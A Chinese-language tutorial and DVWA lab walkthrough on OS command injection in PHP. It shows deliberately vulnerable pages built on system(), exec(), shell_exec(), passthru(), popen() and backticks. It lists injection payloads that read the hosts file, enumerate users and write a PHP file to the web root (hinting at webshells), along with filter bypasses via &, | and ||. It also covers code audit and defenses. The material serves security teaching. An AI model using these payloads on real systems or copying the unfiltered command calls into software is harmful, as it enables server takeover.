1 OS命令注入概述

背景：程序员使用脚本语言（如PHP等）开发应用程序过程中，脚本语言开发十分快速、简洁、方便，但是也伴随着一些问题，比如速度慢、无法触及系统底层等。开发的应用时，特殊是企业级的一些应用需要去调用一些外部程序（系统命令或者exe等可执行文件），当应用需要调用一些外部程序时就会用到一些系统命令的函数。

OS命令注入：当应用在调用这些系统命令函数时，如果将用户的输入作为系统命令的参数拼接到命令中，在没有过滤用户输入的情况下，就会造成命令执行漏洞。

条件：

• 程序中含有可以执行OS命令的函数或语言结构；
• 传入该函数或语言结构的参数是客户端可以控制的（可以直接修改或造成影响）且没有进行足够的过滤。

漏洞危害：

• 继承Web服务器程序权限（Web用户权限）去执行系统命令；
• 继承Web服务器程序权限（Web用户权限）去读写文件；
• 反弹shell。通常我们对一个开启了80端口的服务器进行访问时，就会建立起与服务器Web服务链接，从而获取到服务器相应的Web服务。而反弹shell是我们开启一个端口进行监听，转而让服务器主动反弹一个shell来连接我们的主机，我们再通过接收到的shell进而来远程控制服务器。
• 控制整个网站 ；
• 控制整个服务器。

2 常见OS命令注入函数及例子

2.1 system()函数

作用：该函数能够将字符串作为OS命令执行，自带输出功能。

原型：string system ( string $command [, int &$return_var ] )。

危害：如果没有对该函数的参数进行有效准确过滤，其参数将有可能被用户用于注入有害代码。

例子：

• 在网站根目录下新建Command文件夹，并在该文件夹下新建txt文件，重命名为symtem.php，该文件的测试代码如下：

<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
system($cmd);
}else{echo "Please submit cmd!<br >?cmd=ipconfig;";
}
?>

• 在客户端我们访问该网页时带入如下参数以利用漏洞，网页将执行构造的语句返回系统信息（以下函数也是如此）。注入语句应与靶机系统相适应。

?cmd=ipconfig				//将返回IP配置信息
?cmd=cd						//查看当前目录
?cmd=systeminfo				//返回系统信息
?cmd=whoami					//
?cmd=net user				//查看或新增用户等
?cmd=dir					//将返回文件信息
?cmd=ping www.baidu.com		//执行ping命令，没结束前是不会返回结果。在Windows系统上默认ping 4次，但是在linux系统上将默认一直ping。
?cmd=type c:\windows\system32\drivers\etc\hosts	//查看系统文件
?cmd=echo"<?php phpinfo();?>">路径		//写入文件，可写入一句话木马等

2.2 exec()函数

作用：该函数能够将字符串作为OS命令执行，需要配合输出结果命令。

原型：string exec ( string $command [, array &$output [, int &$return_var ]] )。

危害：如果没有对该函数的参数进行有效准确过滤，其参数将有可能被用户用于注入有害代码。

例子：

• 在网站根目录下的Command文件夹下，新建txt文件，重命名为exec.php，该文件的测试代码如下：

<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
print exec($cmd);
}else{echo "Please submit cmd!<br >?cmd=ipconfig;";
}
?>

• 在客户端我们访问该网页时带入相关参数（与system()函数代入的参数一致）以利用漏洞。注意，该函数的返回结果是有限的。
  

2.3 shell_exec()函数

作用：该函数能够将字符串作为OS命令执行，需要配合输出结果命令。一般应用最广泛

危害：如果没有对该函数的参数进行有效准确过滤，其参数将有可能被用户用于注入有害代码。

例子：

• 在网站根目录下的Command文件夹下，新建txt文件，重命名为shell_exec.php，该文件的测试代码如下：

 <?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
print shell_exec($cmd);
}else{echo "Please submit cmd!<br >?cmd=ipconfig;";
}
?>

• 在客户端我们访问该网页时带入相关参数（与system()函数代入的参数一致）以利用漏洞。
  

2.4 passthru()函数

作用：该函数能够将字符串作为OS命令执行，自带输出功能。

原型：void passthru ( string $command [, int &$return_var ] )

危害：如果没有对该函数的参数进行有效准确过滤，其参数将有可能被用户用于注入有害代码。

例子：

• 在网站根目录下的Command文件夹下，新建txt文件，重命名为passthru.php，该文件的测试代码如下：

<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
passthru($cmd);
}else{echo "Please submit cmd!<br >?cmd=ipconfig;";
}
?>

• 在客户端我们访问该网页时带入相关参数（与system()函数代入的参数一致）以利用漏洞。
  

2.5 popen()函数

作用：该函数能执行OS命令，返回的是一个文件指针。无论返回什么，我们关心的是命令被执行了。

特点：与其他函数不同的是，需要传入第二个参数作为第一个参数执行结果的存储文件。

例子：

• 在网站根目录下的Command文件夹下，新建txt文件，重命名为popen.php，该文件的测试代码如下：

<meta charset='gb2312'>
<?php
if (isset($_GET['cmd'])){echo"<pre>";popen($_GET['cmd'],'r');
}else{echo"?cmd=whoami";
}
?>

• 在客户端我们访问该网页时带入如下参数，网页将执行构造的语句并在同目录下生成文件（如已有该文件则追加内容）。

?cmd=ipconfig >>1.txt				//将返回IP配置信息
?cmd=systeminfo >>1.txt				//返回系统信息
?cmd=whoami >>1.txt					//
?cmd=net user >>1.txt				//查看或新增用户等
?cmd=dir >>1.txt					//将返回文件信息
?cmd=ping www.baidu.com >>1.txt		//执行ping命令，没结束前是不会返回结果。在Windows系统上默认ping 4次，但是在linux系统上将默认一直ping。

• 访问刚刚写入的1.txt文件，内容如下，说明上述命令执行成功。

2.6 反引号结构

作用：反引号内[ ]的字符串也会被解析成OS命令执行，需要配合输出结果命令。

注意：

• 反引号运算符在激活了安全模式或者关闭了 shell_exec() 时是无效的。
• 与其它某些语言不同，反引号不能在双引号字符串中使用。

例子：

• 在网站根目录下的Command文件夹下，新建txt文件，重命名为`.php，该文件的测试代码如下：

<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
print `($cmd)`;
}else{echo "Please submit cmd!<br >?cmd=ipconfig;";
}
?>

• 在客户端我们访问该网页时带入相关参数（与system()函数代入的参数一致）以利用漏洞。
  

3 OS命令注入漏洞的利用

OS 命令注入漏洞，攻击者直接继承Web用户权限，在服务器上执行任意命令，危害特别大。以下命令均在windows 系统下测试成功。

3.1 查看系统文件

采用真实机访问system.php，其中提交参数?cmd=type c:\windows\system32\drivers\etc\hosts,查看系统hosts 文件。

3.2 显示当前路径

采用真实机访问system.php，其中提交参数?cmd=cd

3.3 写文件

（1）采用真实机访问system.php，其中提交参数?cmd=echo "<?php phpinfo();?>" > C:\phpStudy\PHPTutorial\WWW\Command\shell.php

（2）页面没有报错，访问shell.php 文件，验证文件是否写入成功

4 OS命令注入漏洞的防御

（1）尽量减少命令执行函数的使用，并在disable_functions中禁用（php.ini配置文件中的disable_functions设置）；
（2）在进入命令执行函数或方法前，应对参数进行过滤；
（3）参数的值尽量使用引号进行包裹，并在拼接调用前调用addslashes进行转义。

5 OS命令注入漏洞靶场实验

5.1 实验目的

（1）结合SQL注入、XSS漏洞、PHP语句注入等实验，加深理解注入语句的构造与绕过思路；
（2）掌握OS命令注入漏洞的检验与利用方法；
（3）加强代码审计能力。

5.2 实验环境

靶机：win2008虚拟机，部署WAMP环境，并搭建DVWA靶场。虚拟机系统安装及WAMP部署方法参考文章《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》，DVWA靶场的搭建参考《【环境搭建-02】基于WAMP环境的DVWA漏洞靶场的搭建》

真实机：win10系统。

5.3 实验前准备

Windows 系例支持的多语句执行如下：

• |：直接执行后面的语句。例如： ping 127.0.0.1|whoami。
• ||：或，如果前面命令成功执行，那么命令结束执行；当前面的语句执行出错时，执行后面的语句。例如： ping 127.0.0.1||whoami。
• &：如果前面的语句为假则直接执行后面的语句，前面的语句可真可假。例如： ping 127.0.0.1&whoami。
• &&：与，如果前面的语句为假则直接出错，也不执行后面的语句，前面的语句只能为真。例如： ping 127.0.0.1&&whoami。

Linux系统支持的多语句执行如下：

• ;：执行完前面的语句再执行后面的。例如： ping 127.0.0.1;whoami。
• |：显示后面语句的执行结果。例如： ping 127.0.0.1|whoami。
• ||：或，如果前面命令成功执行，那么命令结束执行；当前面的语句执行出错时，执行后面的语句。例如： ping 127.0.0.1||whoami。
• &：如果前面的语句为假则直接执行后面的语句，前面的语句可真可假 。例如： ping 127.0.0.1&whoami。
• &&：如果前面的语句为假则直接出错，也不执行后面的，前面的语句只能为真。例如： ping 127.0.0.1&&whoami。

5.4 实验内容

尝试对不同安全级别的OS命令注入漏洞进行渗透，同时结合其代码审计互相印证学习。

5.4.1 low级别

（1）打开DVWA靶场（登录账号默认是admin，密码是password。），并将难度级别设置为low

（2）当输入IP地址为127.0.0.1并点击submit时，回显内容为ping的结果。对此，我们推断该处输入参数能带入到后台执行，并回显内容，可能存在注入点。在我们参数输入位置前，应该是有ping命令。

（3）我们采用语句whoami对网站及后台进行无损检测，更换为其他命令可实施攻击。修改参数为127.0.0.1&&whoami（127.0.0.1是为了使前面的ping闭合，&&为与），回显结果如下，可以看到成功注入出系统信息。

（4）这是几个注入语句的测试结果对比，可以注入语句可能还有更多：

127.0.0.1&&whoami			//成功执行并返回ping的信息和whoami的信息
127.0.0.1&whoami			//成功执行并返回ping的信息和whoami的信息
127.0.0.1;whoami			//执行失败，从cmd运行结果看似乎分号不能分隔开两个语句
127.0.0.1|whoami			//成功执行，仅返回whoami信息。
127.0.0.1| whoami			//成功执行，仅返回whoami信息。
127.0.0.0.1||whoami			//故意输入一个错误的IP，让程序执行或运算符后面的语句。

（5）代码审计，可以看到该网页采用了shell_exec函数，同时，参数没有任何过滤。

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {// Get input$target = $_REQUEST[ 'ip' ];// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping  ' . $target );}else {// *nix$cmd = shell_exec( 'ping  -c 4 ' . $target );}// Feedback for the end userecho "<pre>{$cmd}</pre>";
}
?>

5.4.2 medium级别

（1）将DVWA靶场的难度级别设置为medium
（2）在low级别的基础上，测试其可行注入语句在medium级别的运行情况。

127.0.0.1&&whoami			//执行失败，从显示错误信息判断可能是&&被过滤
127.0.0.1&whoami			//成功执行并返回ping的信息和whoami的信息
127.0.0.1|whoami			//成功执行，仅返回whoami信息。
127.0.0.1| whoami			//成功执行，仅返回whoami信息。
127.0.0.0.1||whoami			//故意输入一个错误的IP，让程序执行或运算符后面的语句。

（3）代码审计，从其代码分析，在参数输入后对&&和;都过滤掉了。

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {// Get input$target = $_REQUEST[ 'ip' ];// Set blacklist$substitutions = array('&&' => '',';'  => '',);// Remove any of the charactars in the array (blacklist).$target = str_replace( array_keys( $substitutions ), $substitutions, $target );// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping  ' . $target );}else {// *nix$cmd = shell_exec( 'ping  -c 4 ' . $target );}// Feedback for the end userecho "<pre>{$cmd}</pre>";
}
?>

5.4.3 high级别

（1）将DVWA靶场的难度级别设置为high

（2）在low级别的基础上，测试其可行注入语句在medium级别的运行情况。

127.0.0.1&&whoami			//执行失败，从显示错误信息判断可能是&&被过滤
127.0.0.1&whoami			//执行失败，从显示错误信息判断可能是&被过滤
127.0.0.1|whoami			//成功执行，仅返回whoami信息。
127.0.0.1| whoami			//执行失败，从显示错误信息判断可能是| 被过滤
127.0.0.0.1||whoami			//执行失败，从显示错误信息判断可能是||被过滤

（3）代码审计，从其代码分析，在参数输入后对多种符号都过滤掉了。

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {// Get input$target = trim($_REQUEST[ 'ip' ]);// Set blacklist$substitutions = array('&'  => '',';'  => '','| ' => '','-'  => '','$'  => '','('  => '',')'  => '','`'  => '','||' => '',);// Remove any of the charactars in the array (blacklist).$target = str_replace( array_keys( $substitutions ), $substitutions, $target );// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping  ' . $target );}else {// *nix$cmd = shell_exec( 'ping  -c 4 ' . $target );}// Feedback for the end userecho "<pre>{$cmd}</pre>";
}
?>

5.4.4 impossible级别

（1）将DVWA靶场的难度级别设置为impossible
（2）代码审计，该级别的代码过滤原则采用的是“满足才给过”，而不是前两关的“满足黑名单就过滤”的原则，因此无法注入其他命令骗其执行。但是该代码的书写方式也限制了用户的输入，比如ping域名则无法ping通。

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$target = $_REQUEST[ 'ip' ];$target = stripslashes( $target );// Split the IP into 4 octects$octet = explode( ".", $target );// Check IF each octet is an integerif( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {// If all 4 octets are int's put the IP back together.$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping  ' . $target );}else {// *nix$cmd = shell_exec( 'ping  -c 4 ' . $target );}// Feedback for the end userecho "<pre>{$cmd}</pre>";}else {// Ops. Let the user name theres a mistakeecho '<pre>ERROR: You have entered an invalid IP.</pre>';}
}
// Generate Anti-CSRF token
generateSessionToken();
?>

6 总结

（1）了解可能引起OS命令注入的函数；
（2）掌握这些函数的使用方法；
（3）了解常用的防御方法。
（4）了解OS命令注入的绕过思路。